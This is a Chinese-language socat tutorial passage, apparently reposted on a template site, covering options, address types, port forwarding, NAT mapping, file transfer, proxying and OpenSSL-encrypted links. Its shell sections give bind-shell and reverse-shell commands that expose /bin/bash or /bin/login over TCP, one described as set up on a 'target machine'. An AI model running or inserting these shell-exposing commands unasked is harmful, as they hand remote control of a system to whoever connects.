? ?選項(xiàng):
? ? ? -V ? ? ? ?版本信息
? ? ? -h|-? ? ? 幫助
? ? ? -hh ? ? ? 與 -h 類似。更加詳細(xì)的幫助。加上所有常用地址選項(xiàng)名稱
? ? ? -hhh ? ? ?與 -hh類似。更加詳細(xì)的幫助。加上所有可用地址選項(xiàng)名稱
? ? ? -d[ddd] ? 增加詳細(xì)程度(最多使用 4 次;建議使用 2 次)
? ? ? -D ? ? ? ?在循環(huán)之前分析文件描述符
? ? ? -ly[facility] ? 使用設(shè)施(默認(rèn)為守護(hù)進(jìn)程)記錄到系統(tǒng)日志
? ? ? -lf<logfile> ? ?記錄到文件
? ? ? -ls ? ? ? ? ? ? 記錄到標(biāo)準(zhǔn)錯(cuò)誤(如果沒有其他日志,則默認(rèn))
? ? ? -lm[facility] ? 混合日志模式(初始化期間的stderr,然后是syslog)
? ? ? -lp<progname> ? 設(shè)置用于記錄的程序名稱
? ? ? -lu ? ? ? ? ? ? 使用微秒記錄時(shí)間戳
? ? ? -lh ? ? ? ? ? ? 將主機(jī)名添加到日志消息中
? ? ? -v ? ? ? ? ? ? ?把數(shù)據(jù)流量轉(zhuǎn)儲(chǔ)為文本文件
? ? ? -x ? ? ? ? ? ? ?把數(shù)據(jù)流量轉(zhuǎn)儲(chǔ)為16進(jìn)制文件
? ? ? -r <file> ? ? ? 轉(zhuǎn)儲(chǔ) 從左到右 流動(dòng)的原始數(shù)據(jù)
? ? ? -R <file> ? ? ? 轉(zhuǎn)儲(chǔ) 從右到左 流動(dòng)的原始數(shù)據(jù)
? ? ? -b<size_t> ? ? ?設(shè)置數(shù)據(jù)緩沖區(qū)大小 (8192)
? ? ? -s ? ? ? ? ? ? ?馬虎模式。即出現(xiàn)錯(cuò)誤時(shí)繼續(xù)。
? ? ? -t<timeout> ? ? 在關(guān)閉第二個(gè)通道之前等待幾秒鐘
? ? ? -T<timeout> ? ? 再多少秒不活動(dòng)時(shí),設(shè)置超時(shí)
? ? ? -u ? ? ? ? ? ? ?單向模式(從左到右)
? ? ? -U ? ? ? ? ? ? ?單向模式(從右到左)
? ? ? -g ? ? ? ? ? ? ?不檢查選項(xiàng)組
? ? ? -L <lockfile> ? 嘗試獲取鎖,否則失敗
? ? ? -W <lockfile> ? 嘗試獲取鎖,或者等待
? ? ? -4 ? ? ? ? ? ? ?如果沒有明確指定版本,則首選 IPv4
? ? ? -6 ? ? ? ? ? ? ?如果沒有明確指定版本,則首選 IPv6
? ?雙向地址: ??
? ? ? pipe[,<opts>] ? ? groups=FD,FIFO
? ? ? <single-address>!!<single-address>
? ? ? <single-address>
? ?單向地址:
? ? ? <address-head>[,<opts>]
? ?address-head:
? ? ? abstract-client:<filename> ? ? ? ?groups=FD,SOCKET,RETRY,UNIX
? ? ? abstract-connect:<filename> ? ? ? groups=FD,SOCKET,RETRY,UNIX
? ? ? abstract-listen:<filename> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RETRY,UNIX
? ? ? abstract-recv:<filename> ?groups=FD,SOCKET,RETRY,UNIX
? ? ? abstract-recvfrom:<filename> ? ? ?groups=FD,SOCKET,CHILD,RETRY,UNIX
? ? ? abstract-sendto:<filename> ? ? ? ?groups=FD,SOCKET,RETRY,UNIX
? ? ? create:<filename> groups=FD,REG,NAMED
? ? ? exec:<command-line> ? ? ? groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
? ? ? fd:<num> ?groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
? ? ? gopen:<filename> ?groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX
? ? ? interface:<interface> ? ? groups=FD,SOCKET
? ? ? ip-datagram:<host>:<protocol> ? ? groups=FD,SOCKET,RANGE,IP4,IP6
? ? ? ip-recv:<protocol> ? ? ? ?groups=FD,SOCKET,RANGE,IP4,IP6
? ? ? ip-recvfrom:<protocol> ? ?groups=FD,SOCKET,CHILD,RANGE,IP4,IP6
? ? ? ip-sendto:<host>:<protocol> ? ? ? groups=FD,SOCKET,IP4,IP6
? ? ? ip4-datagram:<host>:<protocol> ? ?groups=FD,SOCKET,RANGE,IP4
? ? ? ip4-recv:<protocol> ? ? ? groups=FD,SOCKET,RANGE,IP4
? ? ? ip4-recvfrom:<protocol> ? groups=FD,SOCKET,CHILD,RANGE,IP4
? ? ? ip4-sendto:<host>:<protocol> ? ? ?groups=FD,SOCKET,IP4
? ? ? ip6-datagram:<host>:<protocol> ? ?groups=FD,SOCKET,RANGE,IP6
? ? ? ip6-recv:<protocol> ? ? ? groups=FD,SOCKET,RANGE,IP6
? ? ? ip6-recvfrom:<protocol> ? groups=FD,SOCKET,CHILD,RANGE,IP6
? ? ? ip6-sendto:<host>:<protocol> ? ? ?groups=FD,SOCKET,IP6
? ? ? open:<filename> ? groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS
? ? ? openssl:<host>:<port> ? ? groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,OPENSSL
? ? ? openssl-dtls-client:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,UDP,OPENSSL
? ? ? openssl-dtls-server:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,UDP,OPENSSL
? ? ? openssl-listen:<port> ? ? groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP,OPENSSL
? ? ? pipe:<filename> ? groups=FD,FIFO,NAMED,OPEN
? ? ? proxy:<proxy-server>:<host>:<port> ? ? ? ?groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP
? ? ? pty ? ? ? groups=FD,NAMED,TERMIOS,PTY
? ? ? sctp-connect:<host>:<port> ? ? ? ?groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,SCTP
? ? ? sctp-listen:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,SCTP
? ? ? sctp4-connect:<host>:<port> ? ? ? groups=FD,SOCKET,CHILD,RETRY,IP4,SCTP
? ? ? sctp4-listen:<port> ? ? ? groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,SCTP
? ? ? sctp6-connect:<host>:<port> ? ? ? groups=FD,SOCKET,CHILD,RETRY,IP6,SCTP
? ? ? sctp6-listen:<port> ? ? ? groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,SCTP
? ? ? socket-connect:<domain>:<protocol>:<remote-address> ? ? ? groups=FD,SOCKET,CHILD,RETRY
? ? ? socket-datagram:<domain>:<type>:<protocol>:<remote-address> ? ? ? groups=FD,SOCKET,RANGE
? ? ? socket-listen:<domain>:<protocol>:<local-address> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE
? ? ? socket-recv:<domain>:<type>:<protocol>:<local-address> ? ?groups=FD,SOCKET,RANGE
? ? ? socket-recvfrom:<domain>:<type>:<protocol>:<local-address> ? ? ? ?groups=FD,SOCKET,CHILD,RANGE
? ? ? socket-sendto:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET
? ? ? socks4:<socks-server>:<host>:<port> ? ? ? groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
? ? ? socks4a:<socks-server>:<host>:<port> ? ? ?groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
? ? ? stderr ? ?groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
? ? ? stdin ? ? groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
? ? ? stdio ? ? groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
? ? ? stdout ? ?groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
? ? ? system:<shell-command> ? ?groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
? ? ? tcp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP
? ? ? tcp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP
? ? ? tcp4-connect:<host>:<port> ? ? ? ?groups=FD,SOCKET,CHILD,RETRY,IP4,TCP
? ? ? tcp4-listen:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP
? ? ? tcp6-connect:<host>:<port> ? ? ? ?groups=FD,SOCKET,CHILD,RETRY,IP6,TCP
? ? ? tcp6-listen:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP
? ? ? tun[:<ip-addr>/<bits>] ? ?groups=FD,CHR,NAMED,OPEN,INTERFACE
? ? ? udp-connect:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
? ? ? udp-datagram:<host>:<port> ? ? ? ?groups=FD,SOCKET,RANGE,IP4,IP6,UDP
? ? ? udp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP
? ? ? udp-recv:<port> ? groups=FD,SOCKET,RANGE,IP4,IP6,UDP
? ? ? udp-recvfrom:<port> ? ? ? groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP
? ? ? udp-sendto:<host>:<port> ?groups=FD,SOCKET,IP4,IP6,UDP
? ? ? udp4-connect:<host>:<port> ? ? ? ?groups=FD,SOCKET,IP4,UDP
? ? ? udp4-datagram:<host>:<port> ? ? ? groups=FD,SOCKET,RANGE,IP4,UDP
? ? ? udp4-listen:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP
? ? ? udp4-recv:<port> ?groups=FD,SOCKET,RANGE,IP4,UDP
? ? ? udp4-recvfrom:<port> ? ? ?groups=FD,SOCKET,CHILD,RANGE,IP4,UDP
? ? ? udp4-sendto:<host>:<port> groups=FD,SOCKET,IP4,UDP
? ? ? udp6-connect:<host>:<port> ? ? ? ?groups=FD,SOCKET,IP6,UDP
? ? ? udp6-datagram:<host>:<port> ? ? ? groups=FD,SOCKET,RANGE,IP6,UDP
? ? ? udp6-listen:<port> ? ? ? ?groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP
? ? ? udp6-recv:<port> ?groups=FD,SOCKET,RANGE,IP6,UDP
? ? ? udp6-recvfrom:<port> ? ? ?groups=FD,SOCKET,CHILD,RANGE,IP6,UDP
? ? ? udp6-sendto:<host>:<port> groups=FD,SOCKET,IP6,UDP
? ? ? unix-client:<filename> ? ?groups=FD,SOCKET,NAMED,RETRY,UNIX
? ? ? unix-connect:<filename> ? groups=FD,SOCKET,NAMED,RETRY,UNIX
? ? ? unix-listen:<filename> ? ?groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
? ? ? unix-recv:<filename> ? ? ?groups=FD,SOCKET,NAMED,RETRY,UNIX
? ? ? unix-recvfrom:<filename> ?groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX
? ? ? unix-sendto:<filename> ? ?groups=FD,SOCKET,NAMED,RETRY,UNIX
? ? ? vsock-connect:<cid>:<port> ? ? ? ?groups=FD,SOCKET,CHILD,RETRY
? ? ? vsock-listen:<port> ? ? ? groups=FD,SOCKET,LISTEN,CHILD,RETRY

address 有一下幾種形式:

  • - STDIN STDOUT :表示標(biāo)準(zhǔn)輸入輸出,可以就用一個(gè)橫杠代替
  • /var/log/syslog : 也可以是任意路徑,如果是相對(duì)路徑要使用./,打開一個(gè)文件作為數(shù)據(jù)流。
  • TCP:127.0.0.1:1080 : 建立一個(gè)TCP連接作為數(shù)據(jù)流,TCP也可以替換為UDP
  • TCP-LISTEN:12345 : 建立TCP監(jiān)聽端口,TCP也可以替換為UDP
  • EXEC:/bin/bash : 執(zhí)行一個(gè)程序作為數(shù)據(jù)流。

socat 的使用

場(chǎng)景一:本地有個(gè)文件,想要顯示在終端中
? ? socat - /etc/sysctl.conf

場(chǎng)景二:有個(gè)TCP連接會(huì)連上來,想看下會(huì)獲得什么數(shù)據(jù)。
? ? socat TCP-LISTEN:12345 -

場(chǎng)景三:在目標(biāo)機(jī)上弄一個(gè)shell代理
? ? socat TCP-LISTEN:12345 EXEC:/bin/bash

場(chǎng)景四:本地 UNIX DOMAIN 域套接字,轉(zhuǎn)成 TCP SOCKET 供局域網(wǎng)內(nèi)的機(jī)器使用
? ? // 當(dāng)有多個(gè)tcp連上來時(shí),可以使用?fork 一個(gè)去連域套接字
? ? socat TCP-LISTEN:12345,reuseaddr,fork UNIX-CONNECT:/data/deCOREIDPS/unix.domain? ??
場(chǎng)景五
? ? 將本地的80端口轉(zhuǎn)到遠(yuǎn)程去
? ? socat TCP-LISTEN:80,fork TCP:www.baidu.com:80

網(wǎng)絡(luò)測(cè)試

這個(gè)類似 nc 的連通性測(cè)試,兩臺(tái)主機(jī)到底網(wǎng)絡(luò)能否聯(lián)通:

socat - TCP-LISTEN:8080 ? ? ? ? ? ? ? # 終端1 上啟動(dòng) server 監(jiān)聽 TCP
socat - TCP:localhost:8080 ? ? ? ? ? ?# 終端2 上啟動(dòng) client 鏈接 TCP

在終端 1 上輸入第一行命令作為服務(wù)端,并在終端 2 上輸入第二行命令作為客戶端去鏈接。

聯(lián)通后在終端2上隨便輸入點(diǎn)什么,就能顯示在終端1上,反之亦然,因?yàn)閮蓷l命令都是把標(biāo)準(zhǔn)輸入輸出和網(wǎng)絡(luò)串起來,因此把兩個(gè)地址交換一下也是等價(jià)的:

socat TCP-LISTEN:8080 - ? ? ? ? ? ? ? # 終端1 上啟動(dòng) server 監(jiān)聽 TCP
socat TCP:localhost:8080 - ? ? ? ? ? ?# 終端2 上啟動(dòng) client 鏈接 TCP

因?yàn)?socat 就是把左右兩個(gè)地址的輸入輸出接在一起,因此顛倒左右兩個(gè)地址影響不大,除非前面指明?-u?或者?-U?顯示指明數(shù)據(jù) "從左到右"?還是 "從右到左" 。

同 netcat 一樣,如果客戶端結(jié)束的話,服務(wù)端也會(huì)結(jié)束,但是 socat 還可以加額外參數(shù):

socat - TCP-LISTEN:8080,fork,reuseaddr ? ? ?# 終端1 上啟動(dòng) server
socat - TCP:localhost:8080 ? ? ? ? ? ? ? ? ?# 終端2 上啟動(dòng) client

服務(wù)端在?TCP-LISTEN?地址后面加了?fork?的參數(shù)后,就能同時(shí)應(yīng)答多個(gè)鏈接過來的客戶端,每個(gè)客戶端會(huì) fork 一個(gè)進(jìn)程出來進(jìn)行通信,加上?reuseaddr?可以防止鏈接沒斷開玩無法監(jiān)聽的問題。

剛才也說了使用 socat 主要就是學(xué)習(xí)描述各種地址,那么想測(cè)試 UDP 的話修改一下就行:

socat - UDP-LISTEN:8080 ? ? ? ? ? ? ? # 終端1 上啟動(dòng) server 監(jiān)聽 UDP
socat - UDP:localhost:8080 ? ? ? ? ? ?# 終端2 上啟動(dòng) client 鏈接 UDP

網(wǎng)絡(luò)管理

連接遠(yuǎn)程端口:socat - TCP:192.168.1.252:3306
監(jiān)聽一個(gè)新端口:socat TCP-LISTEN:7000 -

linux 命令:nc、netcat、ncat、socat

端口轉(zhuǎn)發(fā)

在主機(jī)上監(jiān)聽一個(gè) 8080 端口,將 8080 端口所有流量轉(zhuǎn)發(fā)給遠(yuǎn)程機(jī)器的 80 端口:

socat TCP-LISTEN:8080,fork,reuseaddr ?TCP:192.168.1.3:80

那么連到這臺(tái)機(jī)器上 8080 端口的所有鏈接,相當(dāng)于鏈接了 192.168.1.3 這臺(tái)機(jī)器的 80 端口,命令中交換左右兩個(gè)地址一樣是等價(jià)的。

這里 socat 比 nc 強(qiáng)的地方就體現(xiàn)出來了,nc 做轉(zhuǎn)發(fā)時(shí)只能轉(zhuǎn)發(fā) 1 次,第一條鏈接 accept 并且關(guān)閉以后 nc 就退出了,無法接受新鏈接,因此 nc 只適合單次使用。而 socat 加上?fork?以后,每次 accept 一個(gè)鏈接都會(huì) fork 出一份來不影響接收其他的新連接,這樣 socat 就可以當(dāng)一個(gè)端口轉(zhuǎn)發(fā)服務(wù),一直啟動(dòng)在那里。還可以用 supervisor 托管起來,開機(jī)自動(dòng)啟動(dòng)。

還可以用這個(gè)功能暴露一些 127.0.0.1 的端口出來供外面訪問,比起 nc 的臨時(shí)救急使用一下的場(chǎng)景,socat 是可以當(dāng)一個(gè)服務(wù)長期運(yùn)行的。

場(chǎng)景 2:在實(shí)際生產(chǎn)中我們經(jīng)常會(huì)遇到到一個(gè)場(chǎng)景就是,用一臺(tái)機(jī)器作為轉(zhuǎn)發(fā)服務(wù)器,連接 AB 兩個(gè)網(wǎng)段,將轉(zhuǎn)發(fā)服務(wù)器的某個(gè)端口上的流量轉(zhuǎn)發(fā)到 B 網(wǎng)段的某臺(tái)機(jī)器的某個(gè)端口,這樣 A 網(wǎng)段的服務(wù)器就可以通過訪問轉(zhuǎn)發(fā)服務(wù)器上的端口訪問到 B 網(wǎng)段的服務(wù)器端口。

這樣的場(chǎng)景一般在和客戶建立專線的連接時(shí)候經(jīng)常用到,一般也可以采用 iptables 做轉(zhuǎn)發(fā),但是比較復(fù)雜。Socat 可以很輕松的完成這個(gè)功能,但是 Socat 不支持端口段轉(zhuǎn)發(fā),只適用于單端口或者少量端口。

轉(zhuǎn)發(fā) TCP。監(jiān)聽 192.168.1.252 網(wǎng)卡的 15672 端口,并將請(qǐng)求轉(zhuǎn)發(fā)至 172.17.0.15 的 15672 端口。命令:socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672

參數(shù)說明:

  • 1. -d -d 前面兩個(gè)連續(xù)的 -d -d 代表調(diào)試信息的輸出級(jí)別。
  • 2. -lf /var/log/socat.log 指定輸出信息的文件保存位置。
  • 3. TCP4-LISTEN:15672 在本地建立一個(gè) TCP IPv4 協(xié)議的監(jiān)聽端口,也就是轉(zhuǎn)發(fā)端口。這里是 15672,請(qǐng)根據(jù)實(shí)際情況改成你自己需要轉(zhuǎn)發(fā)的端口。
  • 4. bind 指定監(jiān)聽綁定的 IP 地址,不綁定的話將監(jiān)聽服務(wù)器上可用的全部 IP。
  • 5. reuseaddr 綁定一個(gè)本地端口。
  • 6. fork TCP4:172.17.0.15:15672 指的是要轉(zhuǎn)發(fā)到的服務(wù)器 IP 和端口,這里是 172.17.0.15 的 15672 端口。

轉(zhuǎn)發(fā) UDP。轉(zhuǎn)發(fā) UDP 和 TCP 類似,只要把 TCP4 改成 UDP4 就行了。

命令:socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123

NAT 映射。在一個(gè) NAT 網(wǎng)絡(luò)環(huán)境中,也是可以通過 Socat 將內(nèi)部機(jī)器端口映射到公網(wǎng)上的。

在外部公網(wǎng)機(jī)器上執(zhí)行命令:socat tcp-listen:1234 tcp-listen:3389
在內(nèi)部私網(wǎng)機(jī)器上執(zhí)行命令:socat tcp:outerhost:1234 tcp:192.168.1.34:3389
這樣,你外部機(jī)器上的 3389 就映射在內(nèi)網(wǎng) 192.168.1.34 的 3389 端口上了。

不過這樣場(chǎng)景下更推薦內(nèi)網(wǎng)穿透神器 FRP

fork 服務(wù)

多進(jìn)程。示例命令:socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
不同設(shè)備的通信

將 U 盤進(jìn)行網(wǎng)絡(luò)共享

示例命令:$ socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr

將終端轉(zhuǎn)發(fā)到串口

示例命令:socat READLINE,/dev/ttyS0,raw,echo=0,crnl

讓 Socat 后臺(tái)運(yùn)行

默認(rèn)情況下 Socat 只在前臺(tái)運(yùn)行,如果要讓 Socat 一直在后臺(tái)運(yùn)行,可以使用 nohup 命令來保證其在后臺(tái)一直運(yùn)行。

示例命令:nohup socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &

除了 nohup 外,Linux 下讓進(jìn)程在后臺(tái)運(yùn)行的方法還很多,比如:screen、tmux 等。在 Linux 中一切都是文件,無論是 Socket 還是其他設(shè)備。所以從理論上來說,一切能夠在文件層級(jí)訪問的內(nèi)容都可以成為 Socat 的數(shù)據(jù)流的來源。

正向 shell、反向 shell

正向 Shell
? ? 1. 服務(wù)端
? ? ? ? # 在服務(wù)端 7005 端口建立一個(gè) Shell。
? ? ? ? $ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr
? ? ? ? 或者
? ? ? ? $ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr ? ?
? ? 2. 客戶端
? ? ? ? # 連接到服務(wù)器的 7005 端口,即可獲得一個(gè) Shell。readline 是 GNU 的命令行編輯器,具有歷史功能。
? ? ? ? $ socat readline tcp:127.0.0.1:7005

反彈 Shell。當(dāng)有主機(jī)連接服務(wù)端的 7005 端口時(shí),將會(huì)發(fā)送客戶端的 Shell 給服務(wù)端。
? ? 1. 服務(wù)端
? ? ? ? $ socat -,raw,echo=0 tcp-listen:7005
? ? 2. 客戶端
? ? ? ? $ socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane

示例:使用 反向shell 實(shí)現(xiàn)?遠(yuǎn)程登錄

使用 參數(shù)?"EXEC?可以執(zhí)行程序" 并且把輸入輸出和另外一個(gè)地址串起來,比如服務(wù)端:

socat TCP-LISTEN:8080,fork,reuseaddr ?EXEC:/usr/bin/bash ???# 服務(wù)端提供 shell
socat - TCP:localhost:8080 ?????????????????????????????????# 客戶端登錄

完善一點(diǎn)可以加些參數(shù):

socat TCP-LISTEN:8080,fork,reuseaddr ?EXEC:/usr/bin/bash,pty,stderr ??# 服務(wù)端
socat file:`tty`,raw,echo=0 TCP:localhost:8080 ???????????????????????# 客戶端

這樣可以把 bash 的標(biāo)準(zhǔn)錯(cuò)誤重定向給標(biāo)準(zhǔn)輸出,并且用終端模式運(yùn)行??蛻舳丝梢韵駝偛拍菢拥卿?,但是還可以更高級(jí)點(diǎn),用 tty 的方式訪問,這樣基本就得到了一個(gè)全功能的交互式終端了,可以在里面運(yùn)行 vim, emacs 之類的程序。

更高級(jí)一點(diǎn),使用 root 運(yùn)行:

socat TCP-LISTEN:23,reuseaddr,fork,crlf exec:/bin/login,pty,setsid,setpgid,stderr,ctty

相當(dāng)于在 23 端口啟動(dòng)了一個(gè) telnetd 的服務(wù),可以用 telnet 客戶端來鏈接。

網(wǎng)頁服務(wù)

首先編寫一個(gè)腳本 web.sh

#! /bin/bash
echo -e -n "HTTP/1.0 200\r\n"
echo -e -n "Content-Type:text/html\r\n"
echo -e -n "\r\n"

echo "<html><body>"
echo "now is $(date)"
echo "</body></html>"

這里我們用?SYSTEM?地址類型代替原來的?EXEC?執(zhí)行命令,因?yàn)榭梢院竺鎸?shell 命令:

socat TCP-LISTEN:8080,fork,reuseaddr SYSTEM:"bash web.sh"

這時(shí)你就可以用瀏覽器訪問:http://localhost:8080?的端口了:

linux 命令:nc、netcat、ncat、socat

相當(dāng)于每次請(qǐng)求的時(shí)候,socat 都會(huì) fork 一個(gè)進(jìn)程出來然后執(zhí)行后面的命令,啟動(dòng)上面的腳本程序,并且將腳本的標(biāo)準(zhǔn)輸入輸出重定向給網(wǎng)絡(luò)鏈接。

相當(dāng)于原始的 cgi 程序了,我們可以用 shell 直接完成一個(gè) cgi 程序并由 socat 提供 cgi 服務(wù),偶然需要暴露一些服務(wù)器信息的話,可以這樣弄一下,返回的 html 里搞一個(gè)自動(dòng)刷新,然后打開瀏覽器,實(shí)時(shí)監(jiān)控服務(wù)器的情況。

文件傳輸

臨時(shí)需要傳輸下文件,無需 scp:

socat -u TCP-LISTEN:8080 open:record.log,create ? ?# 服務(wù)端接收文件
socat -u open:record.log TCP:localhost:8080 ? ? ? ?# 客戶端發(fā)送文件

這里用了?-u?參數(shù),意思是數(shù)據(jù)從左邊的地址單向傳輸?shù)接疫叺牡刂?,大?-U?的話是從右邊單向傳輸?shù)阶筮叀?/p>

將文件 demo.tar.gz 使用 2000 端口從 192.168.1.252 傳到 192.168.1.253,文件傳輸完畢后會(huì)自動(dòng)退出。

在 192.168.1.252 上執(zhí)行:socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr
在 192.168.1.253 上執(zhí)行:socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create
-u 表示數(shù)據(jù)傳輸模式為單向,從左面參數(shù)到右面參數(shù)。
-U 表示數(shù)據(jù)傳輸模式為單向,從右面參數(shù)到左面參數(shù)。

讀寫分流功能

Socat 具有一個(gè)獨(dú)特的讀寫分流功能,比如:可以實(shí)現(xiàn)一個(gè)假的 Web Server,客戶端連過來之后就把 read.html 里面的內(nèi)容傳過去,同時(shí)把客戶端的數(shù)據(jù)保存到 write.txt 里面。

命令:socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork
!! 符號(hào)用于合并讀寫流,前面的用于讀,后面的用于寫。由于 ! 在 Shell 中是特殊字符,所以這里在命令行中使用 \ 對(duì)其進(jìn)行了轉(zhuǎn)義。

透明代理

第一句是用于 socks 代理的,第二句用于 HTTP 代理:

socat TCP-LISTEN:<本地端口>,reuseaddr,fork SOCKS:<代理服務(wù)器IP>:<遠(yuǎn)程地址>:<遠(yuǎn)程端口>,socksport=<代理服務(wù)器端口>
socat TCP-LISTEN:<本地端口>,reuseaddr,fork PROXY:<代理服務(wù)器IP>:<遠(yuǎn)程地址>:<遠(yuǎn)程端口>,proxyport=<代理服務(wù)器端口>

他們都可以把本地端口的請(qǐng)求轉(zhuǎn)換成使用代理服務(wù)器訪問的請(qǐng)求,比如:

socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

那么鏈接本地的 1234 端口,相當(dāng)于通過代理服務(wù)器 127.0.0.1:5678 去鏈接?google.com?的 80 端口了,這里用了?SOCKS4A?,后面?A?的意思是讓代理服務(wù)器去解析域名。

通過 Openssl 來加密傳輸過程

假設(shè)有一個(gè)服務(wù)器主機(jī),地址為 server.domain.org。 并且服務(wù)端程序使用 4433 端口。為了盡可能的簡單,我們使用一個(gè)非常簡單的服務(wù)功能,即服務(wù)端僅回顯數(shù)據(jù)(echo),客戶端只進(jìn)行標(biāo)準(zhǔn)輸入(stdio)。要進(jìn)行 Openssl 加密數(shù)據(jù)傳輸,首先需要生成 Openssl 證書。

1. 生成服務(wù)端的證書

# 為服務(wù)端的證書取一個(gè)基本的名字。
$ FILENAME=server
# 生成公鑰私鑰對(duì)。
$ openssl genrsa -out $FILENAME.key 1024
# 生成一個(gè)自簽名的證書,會(huì)提示你輸入國家代號(hào)、姓名等,或者按下回車鍵跳過輸入提示。
$ openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
# 用剛生成的密鑰文件和證書文件來生成PEM文件。
$ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

服務(wù)端證書生成完成后,復(fù)制信任證書 server.crt 到 SSL 客戶端所在的主機(jī)上。

2. 生成客戶端證書

# 為客戶端證書取一個(gè)不同的文件名
$ FILENAME=client

重復(fù)上述服務(wù)端生成證書的流程。然后復(fù)制 client.pem 到 SSL 客戶端主機(jī),復(fù)制 client.crt 到服務(wù)端主機(jī)。至此完成了證書交換,服務(wù)端有 server.pem、client.crt 兩個(gè)文件,客戶端有 client.pem 、server.crt 兩個(gè)文件。

其次我們需要建立 Openssl 服務(wù)端,在服務(wù)端我們不再用 tcp-listen (tcp-l) ,而用 openssl-listen (ssl-l) 。cert 參數(shù)告訴 Socat 包含證書和私鑰的文件,cafile 參數(shù)指向客戶端的證書文件。如果客戶端能提供相關(guān)聯(lián)的私鑰,我們則認(rèn)為該連接是可靠的。

$ socat openssl-listen:4433,reuseaddr,cert=server.pem,cafile=client.crt echo

運(yùn)行這個(gè)命令后,Socat 會(huì)在 4433 端口監(jiān)聽,并要求客戶端進(jìn)行身份驗(yàn)證。

最后在客戶端建立一個(gè)加密的鏈接,用 openssl-connect 或者 ssl 替換你的 tcp-connect 或 tcp 地址關(guān)鍵字,然后添加 cert 和 cafile 選項(xiàng)。

$ socat stdio openssl-connect:server.domain.org:4433,cert=client.pem,cafile=server.crt
test
test

這個(gè)命令用來建立一個(gè)到服務(wù)程序的安全的連接。如果服務(wù)端和客戶端成功建立連接后,會(huì)回顯在客戶端輸入的內(nèi)容。文章來源地址http://www.zghlxwxcb.cn/news/detail-401583.html

到了這里,關(guān)于linux 命令:nc、netcat、ncat、socat的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 網(wǎng)絡(luò)安全-nc(Netcat)工具詳解

